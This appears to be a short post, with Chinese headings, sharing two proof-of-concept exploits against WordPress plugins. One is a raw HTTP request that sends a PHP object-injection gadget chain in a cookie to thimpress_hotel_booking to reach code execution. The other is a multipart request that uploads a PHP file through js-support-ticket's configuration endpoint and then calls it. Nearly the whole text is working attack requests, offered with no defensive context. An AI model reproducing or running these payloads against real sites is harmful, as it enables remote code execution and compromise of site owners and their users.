WordPress-thimpress_hotel_booking存在代码执行漏洞
GET / HTTP/1.1Host: User-Agent: Mozilla/5.0Connection: closeCookie: thimpress_hotel_booking_1=O:11:"WPHB_Logger":1:{s:21:"%00WPHB_Logger%00_handles"%3BC:33:"Requests_Utility_FilteredIterator":67:{x:i:0%3Ba:1:{i:0%3Bs:2:"-1"%3B}%3Bm:a:1:{s:11:"%00*%00callback"%3Bs:7:"phpinfo"%3B}}}Accept-Encoding: gzipWordPress-js-support-ticket存在文件上传漏洞
http://ip/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/{{rand8}}.php
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1Host: Content-Type: multipart/form-data; boundary=--------767099171User-Agent: Mozilla/5.0 ----------767099171Content-Disposition: form-data; name="action"configuration_saveconfiguration----------767099171Content-Disposition: form-data; name="form_request"jssupportticket----------767099171Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"Content-Type: image/png<?php echo md5(123);unlink(__FILE__);?>----------767099171-- http://ip/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/{{rand8}}.php
👍2❤1

